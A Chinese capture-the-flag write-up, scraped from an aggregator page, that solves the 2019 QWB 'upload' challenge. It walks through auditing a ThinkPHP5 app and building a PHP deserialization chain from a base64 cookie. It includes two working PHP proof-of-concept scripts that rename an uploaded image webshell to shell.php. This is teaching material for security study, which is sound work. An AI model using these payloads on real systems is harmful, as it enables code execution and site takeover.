当前位置: 首页 > news >正文

[强网杯 2019]upload

[强网杯 2019]upload

写在最前

本题虽然是 upload 的题目,但是主要考察的是 php 审计和 php 反序列化,重要的是审计思路,题目给出的 hint 是 php 程序中的断点,我们通过分析断点本身包含的信息和该信息来源去向理清程序运行过程。如何查找到我们需要的内容信息和为什么要查找这个内容信息是值得我们思考的。网上绝大多数 WP 只给出怎么做却不知为什么要这么做,更不知如何知道为什么要这么做。

分析过程

注册登录发现是一个文件上传,正常思路打一遍无果。只能传入图片马,如果传入的是 jpg 会重命名为.png。由于不能上传.hatcess 文件我们无法以 php 方式解析,图片解析POST会 405。其他常规黑盒测试不做细说。

image

继续信息搜集 dirsearch 扫描发现www.tar.gz文件,dump 到本地来审计。发现有 .idea 目录(.idea 是 IntelliJ IDEA 等 JetBrains 系列编辑器存放项目配置信息的目录,包含历史记录、版本控制信息等内容),放在这里显然是个 hint,phpstrom 打开。是 ThinkPHP5 的框架,2019 年是爆过相关漏洞的,但尝试后发现漏洞条件不存在。对整个项目粗扫一遍,发现在 application/web/controller/Register.php 的 __destruct 函数和 application/web/controller/Index.php 的 login_check 函数下有两个断点。

这两个代码位置显然是程序运行过程中对用户信息进行处理的关键节点,所以我们的审计思路是查找这个节点的信息以及信息的来源和去向。

节点信息

本地启动监听截取一下 __destruct 这个函数断点中内容,猜测是检查数据库中是否存在该用户数据。如果registed == false,则调用 $checker->index()。

image

本地启动监听截取一下 login_check 这个函数断点中内容。

profile=unserialize(base64_decode($profile));
YTo1OntzOjI6IklEIjtpOjM7czo1OiJlbWFpbCI7czoxMToicGluZUBxcS5jb20iO3M6ODoidXNlcm5hbWUiO3M6MTE6InBpbmVAcXEuY29tIjtzOjg6InBhc3N3b3JkIjtzOjMyOiIxNWRjOGJlZDRlMzgwYTI2MWI3Nzk0NzY5Yjk3YTc0ZCI7czozOiJpbWciO3M6MDoiIjt9
base64解码 --> a:5:{s:2:"ID";i:1;s:5:"email";s:10:"www@11.com";s:8:"username";s:3:"www";s:8:"password";s:32:"4eae35f1b35977a00ebd8086c259d4c9";s:3:"img";s:79:"../upload/f528764d624db129b32c21fbca0cb8d6/4efdd2f969559e8b1c92e99f32ded48e.png";}

发现调用了 unserialize 反序列化函数和 base64 解码函数对$profile 进行处理,$profile是定义在login_check 方法下的变量,该变量来源于我们 cookie 中的 user 字段。__destruct 和 unserialize 都是 php 反序列化相关的内容,此处先记下。

信息来源

因为有 unserialize 就肯定有 serialize,我们通过查找这个函数并逐一排查是否与 user 相关找到 user 这个 cookie 的来源。

一个是 application/web/controller/login.php,登录成功后将数据库查到的 user_info 序列化返回。

image

一个是 application/web/controller/profile.php,更新头像后对 user_info 更新头像路径字段后序列化返回。

image

此处如何知道 cookie 的来源作用呢?可以在此下断点的查看 user_info 的序列化内容,并结合代码猜测。

image

信息去向

现在我们知道 cookie 的来源了,下一步是查找它的去向,全局查找 login_check 函数的调用点,发现 application/web/controller/ 下均调用了,也就是我们需要审计的文件。

关键点审计

将这四个文件粗扫一遍,发现 application/web/controller/下 php 文件中还包含反序列化相关的函数,发现了__construct,__get 和__call 三个 php 常见反序列化的函数,特别是profile.php 同时有详细定义的三个反序列化常见函数。还记得我们之前记下的 php 反序列化的点么,我们也可以尝试看看有没有反序列化相关的漏洞。

以__destruct 为入口函数,正常应该是registed 为 False 进入函数,调用 checker(也就是 Index 类的实例)的 index () 方法。

    public function __destruct(){if(!$this->registed){$this->checker->index();}}

同时我们在application/web/controller/ 下的四个文件中除了 index.php 外没有发现其他定义 index.php 的地方,但是我们在profile.php 文件下发现 __call( ) 方法的相关定义。__call( )方法允许我们在对象中调用一个不可访问的方法时调用该方法,也就是说如果我们将 checker 设置为 Profile 类的实例,即可通过调用 Profile 实例中不存在的 index 方法调用 __call 方法。

public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}

__call 方法会检查当前对象是否存在属性 $name(即属性名与被调用的方法名相同)。例如,调用 test() 时,检查是否有 $this->test 属性。如果 $this->{$name} 存在且为非空时,则获取该属性的值(假设为 $method),并调用当前对象的 $method 方法,同时将 $arguments 作为参数传入。

我们是通过调用不存在的 index 方法调用到的 __call 方法,所以此时我们的调用方法应该是 index(),因而 __call 会检查当前对象也就是我们设置的 Profile 类实例是否存在 $index 这个属性,这里显然是不存在的。

此时就达成了访问不可访问的属性这一行为,会调用 Profile 类实例中的 __get( ) 方法,因为没有 $this->index,所以会触发 __get('index')。

 public function __get($name)//$name='index'{return $this->except[$name];}

如此我们可以令Profile 类实例中属性$except=array("index"=>"Profile 类中的函数 XXX"); 从而使得对象变为

return $this->except[$name];
return $this->except=['index' => 'xxxx']
// $this->{$this->except['index']}()
// ==>
// $this->XXXX()
//PHP 中,$arr=['a'] 等价于 $arr[0]='a'(默认数字索引),而非 $arr['index']='a';
//只有显式指定 'index' => 'xxxx',才会把index作为键、xxxx作为值。

进而实现Profile 类实例中函数任意调用。那么我们应该尝试调用哪个函数呢,直觉猜测应该是upload_img,因为这个函数调用了login_check 、update_img、ext_check 函数,而update_img 函数调用了update_cookie 函数。

整个 profile 类处理逻辑是,创建基于用户 IP 的 MD5 值命名的上传目录;验证用户登录状态,未登录则重定向至首页;处理文件上传,如果 empty($_FILES)为假也就是$_FILES 不为空,则获取临时文件路径赋值给filename_tmp;通过对上传文件的原始名称进行 MD5 加密,并拼接.png扩展名,生成要保存的文件名filename;随后调用ext_check()方法检查文件扩展名是否为 png ,将ext 设置为文件后缀名。之后通过 getimagesize 验证是否为图片,复制 filename_tmp 到 filename,删除filename_tmp;更新数据库中用户的图片路径信息,并同步更新存储用户信息的 cookie;

我们之前尝试的上传.htaccess 文件尝试绕过 png 后缀解析失败了,但是如果我们可以在这里控制最后的文件后缀名的话就可以将我们上传的 png 文件变成 php 文件了。这里也反向说明我们要调用upload_img。

总结我们的调用链如下

cookie -> base64decode -> unserialize
-> Register::__destruct() //checker -> Profile()
-> Profile::__call() //$name = index
-> Profile::__get() //except['index']='upload_img'
-> Profile::upload_img()

本地测试

审计差不多了,我们尝试打一下 poc,目的是调用 @cwdopy($this->filename_tmp, $this->filename); 改我们的图片马的文件名。

<?php
namespace app\web\controller;//这里必须要有,因为反序列化要知道需要实例化的对象是哪个类。class Register 
{   public $checker;//profile()实例public $registed;//falsepublic function __destruct()//篇幅原因删了点空格,属性和方法都没改{if(!$this->registed){$this->checker->index();}}
}
class Profile
{public $checker;//这里我们没设置值,所以进入Profile实例调用if($this->checker)会因为null而直接跳过public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}$profile = new Profile();
$profile -> except = ['index' => 'upload_img'];
$profile->filename_tmp = "./upload/f528764d624db129b32c21fbca0cb8d6/16c3b33330a33f4162210be93afcfb5a.png";
$profile->filename = "./upload/f528764d624db129b32c21fbca0cb8d6/shell.php";$register = new Register();
$register->registed = FALSE;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));

在 profile 类中所有 if 和与其属性相关的代码打上断点,更新 cookie 查看运行情况,发现顺利进入profile 类,但是在ext 处断掉,页面提示不能将Register 做为一个数组。

image

正常上传图片可以查看到 ext 属性正常的值。

image

将 ext 设置为 png 后重试,发现正常通过 ext 这个断点,其实此时就可以通 buu 的远程了,但是我们本地调试断在getimagesize($this->filename_tmp)。getimagesize()函数获取一个图片的尺寸和文件类型,它接受图片文件的路径作为参数,并返回一个包含图片宽度、高度、类型以及MIME类型的数组。这里是因为我们本地是 windows 系统,tp 路径配置有错误,filename_tmp 没接收到,简短粗暴直接把文件换成绝对路径就好了。

<?php
namespace app\web\controller;//这里必须要有,因为反序列化要知道需要实例化的对象是哪个类。class Register 
{   public $checker;//profile()实例public $registed;//falsepublic function __destruct(){if(!$this->registed){$this->checker->index();}}
}
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}
}$profile = new Profile();
$profile -> except = ['index' => 'upload_img'];
$profile->ext = "png";
$profile->filename_tmp = "E:/phpstudy_pro/upload/tp5/f528764d624db129b32c21fbca0cb8d6/e04b7fb2d790bed075a90916ecd43ff1.png";
$profile->filename = "E:/phpstudy_pro/upload/tp5/f528764d624db129b32c21fbca0cb8d6/shell.php";$register = new Register();
$register->registed = FALSE;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));

答疑

为什么有些 exp 的 ext 为 1

我们直接拿 poc 打,可见当上传文件时候 $_FILES 才会有值,这里的 $_FILES 是和 $_POST 差不多的用途。与是不是第一次上传无关。

image

image

我们反序列化的时候因为没有传文件上去所以$_FILES 是空的,不会执行下面的指令,就跳过了原函数对 filename 和 filename_tmp 的设置以及调用 ext_check()检查。也就是说无所谓 ext 是不是 png。但是下面$this ->ext 必须为真,不然不能执行 copy 等指令。

为什么有些 exp 会设置$checker 为 0

image

调用 upload_img 时候会检查 checker 是否存在,设置为 0 可以跳过 if 判断进入,这里本文是直接为 null。

为什么有些 exp 要将except=['index' => 'img']

不知,笔者感觉可能多此一举,直接将 index 设置为 upload_img 就已经可以达成调用函数的目的了。

 public function __get($name)//$name='index'{return $this->except[$name];}

except 在源码中本质上是一个数组,在实际调用中,$except=['a'] 等价于 $except[0]='a'(默认数字索引),而非 $except['index']='a';只有显式指定 'index' => 'xxxx',才会把index作为键、xxxx作为值。

image

image

http://www.jsqmd.com/news/119814/

相关文章:

  • 系统文件eapprovp.dll丢失或损坏 免费下载修复方法
  • Java毕设选题推荐:基于springboot的闲置资产管理系统的设计与实现基于SpringBoot的公司资产管理系统设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】
  • 最新ASNT七大无损检测技巧全解析(RT/UT/PA/MT/PT/ECT/VT实操指南)- 上海欧鑫 ASNT 认证培训
  • 基于深度学习的草莓健康度检测系统演示与介绍(YOLOv12/v11/v8/v5模型+Pyqt5界面+训练代码+数据集)
  • 【git】企业级开发模型 - 实践
  • MATLAB电力系统继电保护之自动重合闸
  • CVE-2025-68079:ThemeNectar Salient Shortcodes插件中的跨站脚本漏洞解析
  • 复习——IPC(进程间通信)
  • 5 款 AI 写论文哪个好?深度实测后,这款 “学术实力派” 藏不住了!
  • 写论文软件哪个好?虎贲等考 AI:毕业论文创作的 “全能通关神器”
  • 降重 + 去 AIGC 痕迹双 buff!虎贲等考 AI:让论文原创性 “无可挑剔”
  • 8个AI论文工具,自考本科轻松搞定写作难题!
  • 10 个AI写作工具,助你轻松搞定继续教育论文!
  • 期刊投稿屡投屡拒?虎贲等考 AI:让学术成果精准叩开核心期刊大门
  • 虎贲等考 AI:AI 赋能学术创作,全流程论文辅助工具革新登场
  • 【开题答辩全过程】以 基于VUE的爱心捐赠物资信息管理系统为例,包含答辩的问题和答案
  • [Android] 高德地图V9.1车机版 (2025 年测试版)
  • 课程论文还在熬夜凑字数?虎贲等考 AI:让学术写作高效又拿分
  • 某能源AI应用架构师亲述:用成熟度模型推动AI节能落地
  • 问卷设计还在 “手动凑题”?虎贲等考 AI:30 分钟搞定专业级调研问卷,告别无效提问
  • [Windows] 自动小说生成工具AI_NovelGenerator_V1.4.4
  • 9 款 AI 写论文哪个好?实测对比后,这款全流程神器成学术党首选! 毕业论文写作季,AI 写作工具已成学子 “救命稻草”。市面上百度智能云千帆大模型、科大讯
  • win32创建内存映射文件
  • 解析 React 的 ‘Object Inlining’ 优化:如何减少虚拟 DOM 创建时的临时对象分配?
  • Bootstrap3 全局控制秘籍:前端老手都在用的隐藏技巧大公开
  • Prometheus 核心概念 及 安装部署
  • 如何诊断 React 中的“闭包过时”:利用静态扫描工具自动发现 `useEffect` 的依赖缺失
  • 第二章:状态、动态与时间的可计算表达
  • 第三章:因果的形成——从动态到方法
  • 改进狼群算法与粒子群优化在机械臂路径规划与轨迹优化中的应用